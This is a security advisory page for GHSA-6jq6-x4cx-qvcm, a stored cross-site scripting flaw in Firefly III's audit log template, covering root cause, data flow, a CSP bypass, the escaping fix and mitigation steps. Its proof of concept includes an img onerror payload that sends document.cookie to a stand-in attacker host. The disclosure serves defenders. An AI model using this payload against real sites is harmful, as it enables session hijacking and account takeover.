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Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)GHSA-6jq6-x4cx-qvcm

Fix: firefly-iii/firefly-iii#12271

GHSA-6jq6-x4cx-qvcm is a security vulnerability in grumpydictator/firefly-iii. A fix is available for grumpydictator/firefly-iii — see the affected versions and patch details below.

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Exploits
None indexed
Exploitation data as of Sep 10, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘grumpydictator/firefly-iii

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Description

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

  1. Authenticate as any user
  2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
  3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
  4. Trigger the rule on any transaction
  5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

  • Stored XSS persists in DB — fires for every user who views the transaction
  • Cookie theft → session hijacking
  • In multi-user setups: one user attacks another user or admin
  • Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgrumpydictator/firefly-iiiall versions6.6.3composer require grumpydictator/firefly-iii:^6.6.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for grumpydictator/firefly-iii, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update grumpydictator/firefly-iii to 6.6.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jq6-x4cx-qvcm is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

## Summary The Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log. ## Root Cause The `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter. **Vulnerable code (`resources/views/list/ale.twig` lines
O3 Security · Impact-Aware SCA

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